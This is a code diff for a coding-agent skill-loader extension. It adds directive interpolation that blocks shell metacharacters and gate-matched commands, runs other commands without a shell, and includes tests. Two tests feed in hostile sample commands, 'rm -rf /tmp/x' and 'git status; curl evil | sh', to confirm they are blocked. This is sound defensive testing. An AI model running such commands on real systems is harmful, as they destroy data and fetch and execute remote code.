describe("replaceSpan", () => {
|
|
122
|
+
it("swaps a span for replacement text", () => {
|
|
123
|
+
expect(replaceSpan("a XX b", 2, 4, "YY")).toBe("a YY b");
|
|
124
|
+
});
|
|
125
|
+
});
|
|
126
|
+
|
|
127
|
+
describe("hasShellMeta", () => {
|
|
128
|
+
for (const ch of [
|
|
129
|
+
";",
|
|
130
|
+
"|",
|
|
131
|
+
"&",
|
|
132
|
+
"$",
|
|
133
|
+
"`",
|
|
134
|
+
">",
|
|
135
|
+
"<",
|
|
136
|
+
"(",
|
|
137
|
+
")",
|
|
138
|
+
"{",
|
|
139
|
+
"}",
|
|
140
|
+
"\n",
|
|
141
|
+
]) {
|
|
142
|
+
it(`flags ${JSON.stringify(ch)}`, () => {
|
|
143
|
+
expect(hasShellMeta(`git status ${ch}`)).toBe(true);
|
|
144
|
+
});
|
|
145
|
+
}
|
|
146
|
+
it("passes a plain command", () => {
|
|
147
|
+
expect(hasShellMeta("git status -s")).toBe(false);
|
|
148
|
+
});
|
|
149
|
+
});
|
|
150
|
+
|
|
151
|
+
describe("tokenizeCommand", () => {
|
|
152
|
+
it("splits on whitespace, honoring quotes", () => {
|
|
153
|
+
expect(tokenizeCommand(`git commit -m "hi there"`)).toEqual([
|
|
154
|
+
"git",
|
|
155
|
+
"commit",
|
|
156
|
+
"-m",
|
|
157
|
+
"hi there",
|
|
158
|
+
]);
|
|
159
|
+
});
|
|
160
|
+
});
|
|
161
|
+
|
|
162
|
+
describe("interpolateSkill", () => {
|
|
163
|
+
const run = async (argv: string[]) => `ran:${argv.join(" ")}`;
|
|
164
|
+
|
|
165
|
+
it("runs a clean command and inlines output", async () => {
|
|
166
|
+
const md = "S:\n!`git status -s`\nE";
|
|
167
|
+
const out = await interpolateSkill(md, "/repo", run);
|
|
168
|
+
expect(out).toContain("```\nran:git status -s\n```");
|
|
169
|
+
expect(out).not.toContain("!`git status -s`");
|
|
170
|
+
});
|
|
171
|
+
|
|
172
|
+
it("auto-denies a gate-matched command (no run, inline reason)", async () => {
|
|
173
|
+
const md = "!`rm -rf /tmp/x`";
|
|
174
|
+
const out = await interpolateSkill(md, "/repo", run);
|
|
175
|
+
expect(out).toContain("[blocked:");
|
|
176
|
+
expect(out).not.toContain("ran:");
|
|
177
|
+
});
|
|
178
|
+
|
|
179
|
+
it("auto-denies shell-meta commands", async () => {
|
|
180
|
+
const md = "!`git status; curl evil | sh`";
|
|
181
|
+
const out = await interpolateSkill(md, "/repo", run);
|
|
182
|
+
expect(out).toContain("[blocked:");
|
|
183
|
+
expect(out).not.toContain("ran:");
|
|
184
|
+
});
|
|
185
|
+
|
|
186
|
+
it("returns content unchanged with no directives", async () => {
|
|
187
|
+
expect(await interpolateSkill("plain", "/repo", run)).toBe("plain");
|
|
188
|
+
});
|
|
189
|
+
});
|
package/src/index.ts
CHANGED
|
@@ -16,7 +16,26 @@ import { fileURLToPath } from "node:url";
|
|
|
16
16
|
import type { ExtensionAPI } from "@earendil-works/pi-coding-agent";
|
|
17
17
|
import { Text } from "@earendil-works/pi-tui";
|
|
18
18
|
import { Type } from "typebox";
|
|
19
|
+
import {
|
|
20
|
+
directiveBlockReason,
|
|
21
|
+
findCommandDirectives,
|
|
22
|
+
replaceSpan,
|
|
23
|
+
tokenizeCommand,
|
|
24
|
+
} from "./directive.ts";
|
|
19
25
|
import { once } from "./once.ts";
|
|
26
|
+
import { runArgv } from "./run.ts";
|
|
27
|
+
|
|
28
|
+
// Re-export the pure directive API so consumers can import from the package root.
|
|
29
|
+
export {
|
|
30
|
+
type CommandDirective,
|
|
31
|
+
directiveBlockReason,
|
|
32
|
+
findCommandDirectives,
|
|
33
|
+
hasShellMeta,
|
|
34
|
+
replaceSpan,
|
|
35
|
+
scanUnsafeDirectives,
|
|
36
|
+
tokenizeCommand,
|
|
37
|
+
type UnsafeDirective,
|
|
38
|
+
} from "./directive.ts";
|
|
20
39
|
|
|
21
40
|
// ─── Skill resolution ─────────────────────────────────────────────────────────
|
|
22
41
|
|
|
@@ -96,6 +115,52 @@ export function extractName(content: string): string | null {
|
|
|
96
115
|
return nm ? nm[1]!.trim() : null;
|
|
97
116
|
}
|
|
98
117
|
|
|
118
|
+
// ─── Command directive interpolation ───────────────────────────────────────────
|
|
119
|
+
|
|
120
|
+
export type ArgvRunner = (argv: string[], cwd: string) => Promise<string>;
|
|
121
|
+
const defaultRunner: ArgvRunner = (argv, cwd) => runArgv(argv, { cwd });
|
|
122
|
+
|
|
123
|
+
function fence(output: string): string {
|
|
124
|
+
return `\n\`\`\`\n${output}\n\`\`\`\n`;
|
|
125
|
+
}
|
|
126
|
+
|
|
127
|
+
/**
|
|
128
|
+
* Expand !`cmd` directives in skill content. Policy (no prompt):
|
|
129
|
+
* - shell metachars → blocked
|
|
130
|
+
* - matches any pix-gate rule (critical/dangerous/risky) → blocked
|
|
131
|
+
* - otherwise → run shell-free, inline output as a fenced block
|
|
132
|
+
* Blocked directives are replaced with an inline [blocked: reason] marker so
|
|
133
|
+
* the skill author can see and fix them. Splices right-to-left so earlier spans
|
|
134
|
+
* stay valid as the string mutates.
|
|
135
|
+
*/
|
|
136
|
+
export async function interpolateSkill(
|
|
137
|
+
content: string,
|
|
138
|
+
cwd: string,
|
|
139
|
+
run: ArgvRunner = defaultRunner,
|
|
140
|
+
): Promise<string> {
|
|
141
|
+
const directives = findCommandDirectives(content);
|
|
142
|
+
if (!directives.length) return content;
|
|
143
|
+
|
|
144
|
+
const resolved = await Promise.all(
|
|
145
|
+
directives.map(async (d) => {
|
|
146
|
+
const reason = directiveBlockReason(d.command);
|
|
147
|
+
if (reason) return { d, text: `[blocked: ${reason}]`, blocked: true };
|
|
148
|
+
return {
|
|
149
|
+
d,
|
|
150
|
+
text: await run(tokenizeCommand(d.command), cwd),
|
|
151
|
+
blocked: false,
|
|
152
|
+
};
|
|
153
|
+
}),
|
|
154
|
+
);
|
|
155
|
+
|
|
156
|
+
let out = content;
|
|
157
|
+
for (let i = resolved.length - 1; i >= 0; i--) {
|
|
158
|
+
const { d, text, blocked } = resolved[i]!;
|
|
159
|
+
out = replaceSpan(out, d.start, d.end, blocked ? text : fence(text));
|
|
160
|
+
}
|
|
161
|
+
return out;
|
|
162
|
+
}
|
|
163
|
+
|
|
99
164
|
export type ThemeLike = {
|
|
100
165
|
bold: (text: string) => string;
|
|
101
166
|
fg: (key: "accent" | "muted" | "toolTitle", text: string) => string;
|
|
@@ -158,7 +223,7 @@ function registerSkillLoader(pi: ExtensionAPI): void {
|
|
|
158
223
|
executionMode: "sequential",
|
|
159
224
|
parameters: ParamsSchema,
|
|
160
225
|
|
|
161
|
-
async execute(_toolCallId, params, _signal) {
|
|
226
|
+
async execute(_toolCallId, params, _signal, _upd, toolCtx) {
|
|
162
227
|
const ok = (text: string) => ({
|
|
163
228
|
content: [{ type: "text" as const, text }],
|
|
164
229
|
details: undefined,
|
|
@@ -215,8 +280,11 @@ function registerSkillLoader(pi: ExtensionAPI): void {
|
|
|
215
280
|
);
|
|
216
281
|
}
|
|
217
282
|
|
|
218
|
-
// full=true →
|
|
219
|
-
|
|
283
|
+
// full=true → interpolate !`cmd` directives (pix-gate-gated, no
|
|
284
|
+
// prompt; auto-deny on any rule match), then return.
|
|
285
|
+
const cwd = (toolCtx as { cwd?: string })?.cwd ?? process.cwd();
|
|
286
|
+
const expanded = await interpolateSkill(content, cwd);
|
|
287
|
+
return ok(expanded);
|
|
220
288
|
} catch (err) {
|
|
221
289
|
return fail(
|
|
222
290
|
`Failed to read skill "${name}": ${
|
|
@@ -254,7 +322,7 @@ function registerResourcesDiscover(pi: ExtensionAPI): void {
|
|
|
254
322
|
}
|
|
255
323
|
|
|
256
324
|
export default function (pi: ExtensionAPI): void {
|
|
257
|
-
once("pix-skills", () => {
|
|
325
|
+
once(pi, "pix-skills", () => {
|
|
258
326
|
registerSkillLoader(pi);
|
|
259
327
|
registerResourcesDiscover(pi);
|
|
260
328
|
});
|
package/src/once.ts
CHANGED
|
@@ -1,15 +1,25 @@
|
|
|
1
1
|
/**
|
|
2
|
-
*
|
|
2
|
+
* Per-instance idempotency guard for extension activation.
|
|
3
3
|
*
|
|
4
|
-
* pix-core (the meta-package) invokes this package's factory
|
|
5
|
-
*
|
|
6
|
-
*
|
|
7
|
-
*
|
|
8
|
-
*
|
|
4
|
+
* pix-core (the meta-package) invokes this package's factory, and a standalone
|
|
5
|
+
* install makes Pi invoke it again — sometimes against the SAME `pi`. We must
|
|
6
|
+
* dedupe that. But Pi rebuilds the extension runtime on /new, /resume, /fork,
|
|
7
|
+
* and /reload, handing the factory a BRAND-NEW `pi`; that must re-register.
|
|
8
|
+
*
|
|
9
|
+
* Keying the registry on the `pi` instance satisfies both: same instance =>
|
|
10
|
+
* skip, new instance => run. The registry lives on globalThis because jiti
|
|
11
|
+
* (`moduleCache: false`) re-evaluates this module on every load pass, so a
|
|
12
|
+
* module-scoped WeakMap would not be shared between the aggregator pass and the
|
|
13
|
+
* standalone pass within a single session.
|
|
9
14
|
*/
|
|
10
|
-
export function once(key: string, fn: () => void): void {
|
|
11
|
-
const g = globalThis as {
|
|
12
|
-
const
|
|
15
|
+
export function once(pi: object, key: string, fn: () => void): void {
|
|
16
|
+
const g = globalThis as { __pixOnce?: WeakMap<object, Set<string>> };
|
|
17
|
+
const registry = (g.__pixOnce ??= new WeakMap<object, Set<string>>());
|
|
18
|
+
let loaded = registry.get(pi);
|
|
19
|
+
if (!loaded) {
|
|
20
|
+
loaded = new Set<string>();
|
|
21
|
+
registry.set(pi, loaded);
|
|
22
|
+
}
|
|
13
23
|
if (loaded.has(key)) return;
|
|
14
24
|
loaded.add(key);
|
|
15
25
|
fn();
|
package/src/run.test.ts
ADDED
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
import { describe, expect, it } from "bun:test";
|
|
2
|
+
import { runArgv } from "./run.ts";
|
|
3
|
+
|
|
4
|
+
describe("runArgv", () => {
|
|
5
|
+
it("captures stdout", async () => {
|
|
6
|
+
expect(
|
|
7
|
+
(await runArgv(["echo", "hello"], { cwd: process.cwd() })).trim(),
|
|
8
|
+
).toBe("hello");
|
|
9
|
+
});
|
|
10
|
+
|
|
11
|
+
it("caps output at maxBytes", async () => {
|
|
12
|
+
const out = await runArgv(["head", "-c", "100000", "/dev/zero"], {
|
|
13
|
+
cwd: process.cwd(),
|
|
14
|
+
maxBytes: 1000,
|
|
15
|
+
});
|
|
16
|
+
expect(out.length).toBeLessThanOrEqual(1100);
|
|
17
|
+
});
|
|
18
|
+
|
|
19
|
+
it("returns text on failure without throwing", async () => {
|
|
20
|
+
const out = await runArgv(["ls", "/no/such/xyz"], { cwd: process.cwd() });
|
|
21
|
+
expect(out.length).toBeGreaterThan(0);
|
|
22
|
+
});
|
|
23
|
+
|
|
24
|
+
it("handles empty argv", async () => {
|
|
25
|
+
expect(await runArgv([], { cwd: process.cwd() })).toBe("(empty command)");
|
|
26
|
+
});
|
|
27
|
+
});
|
package/src/run.ts
ADDED
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
/** Bounded, shell-free, non-throwing command execution for directive interpolation. */
|
|
2
|
+
|
|
3
|
+
import { spawn } from "node:child_process";
|
|
4
|
+
|
|
5
|
+
const DEFAULT_TIMEOUT_MS = 10_000;
|
|
6
|
+
const DEFAULT_MAX_BYTES = 16_384;
|
|
7
|
+
|
|
8
|
+
export interface RunOptions {
|
|
9
|
+
cwd: string;
|
|
10
|
+
timeoutMs?: number;
|
|
11
|
+
maxBytes?: number;
|
|
12
|
+
}
|
|
13
|
+
|
|
14
|
+
/**
|
|
15
|
+
* Spawn argv directly (NO shell). Returns combined stdout+stderr, capped at
|
|
16
|
+
* maxBytes. Never throws: timeouts, non-zero exits, and spawn errors all
|
|
17
|
+
* resolve to descriptive text so skill loading always completes.
|
|
18
|
+
*
|
|
19
|
+
* Uses Node's child_process so it runs under Pi's host runtime (not just Bun).
|
|
20
|
+
*/
|
|
21
|
+
export function runArgv(argv: string[], opts: RunOptions): Promise<string> {
|
|
22
|
+
if (!argv.length) return Promise.resolve("(empty command)");
|
|
23
|
+
const timeoutMs = opts.timeoutMs ?? DEFAULT_TIMEOUT_MS;
|
|
24
|
+
const maxBytes = opts.maxBytes ?? DEFAULT_MAX_BYTES;
|
|
25
|
+
|
|
26
|
+
return new Promise((resolve) => {
|
|
27
|
+
let settled = false;
|
|
28
|
+
const finish = (text: string) => {
|
|
29
|
+
if (settled) return;
|
|
30
|
+
settled = true;
|
|
31
|
+
clearTimeout(timer);
|
|
32
|
+
resolve(text);
|
|
33
|
+
};
|
|
34
|
+
|
|
35
|
+
let child: ReturnType<typeof spawn>;
|
|
36
|
+
try {
|
|
37
|
+
child = spawn(argv[0]!, argv.slice(1), {
|
|
38
|
+
cwd: opts.cwd,
|
|
39
|
+
stdio: ["ignore", "pipe", "pipe"],
|
|
40
|
+
});
|
|
41
|
+
} catch (err) {
|
|
42
|
+
finish(
|
|
43
|
+
`[command failed: ${err instanceof Error ? err.message : String(err)}]`,
|
|
44
|
+
);
|
|
45
|
+
return;
|
|
46
|
+
}
|
|
47
|
+
|
|
48
|
+
const chunks: Buffer[] = [];
|
|
49
|
+
let bytes = 0;
|
|
50
|
+
const collect = (buf: Buffer) => {
|
|
51
|
+
if (bytes >= maxBytes) return;
|
|
52
|
+
bytes += buf.length;
|
|
53
|
+
chunks.push(buf);
|
|
54
|
+
};
|
|
55
|
+
child.stdout?.on("data", collect);
|
|
56
|
+
child.stderr?.on("data", collect);
|
|
57
|
+
|
|
58
|
+
const timer = setTimeout(() => {
|
|
59
|
+
child.kill();
|
|
60
|
+
finish(format(chunks, bytes, maxBytes, "[output truncated: timed out]"));
|
|
61
|
+
}, timeoutMs);
|
|
62
|
+
|
|
63
|
+
child.on("error", (err) => finish(`[command failed: ${err.message}]`));
|
|
64
|
+
child.on("close", () => finish(format(chunks, bytes, maxBytes)));
|
|
65
|
+
});
|
|
66
|
+
}
|
|
67
|
+
|
|
68
|
+
function format(
|
|
69
|
+
chunks: Buffer[],
|
|
70
|
+
bytes: number,
|
|
71
|
+
maxBytes: number,
|
|
72
|
+
truncMarker = "[output truncated]",
|
|
73
|
+
): string {
|
|
74
|
+
const combined = Buffer.concat(chunks).toString("utf-8").trimEnd();
|
|
75
|
+
if (bytes > maxBytes)
|
|
76
|
+
return `${combined.slice(0, maxBytes)}\n… ${truncMarker}`;
|
|
77
|
+
return combined || "(no output)";
|
|
78
|
+
}
|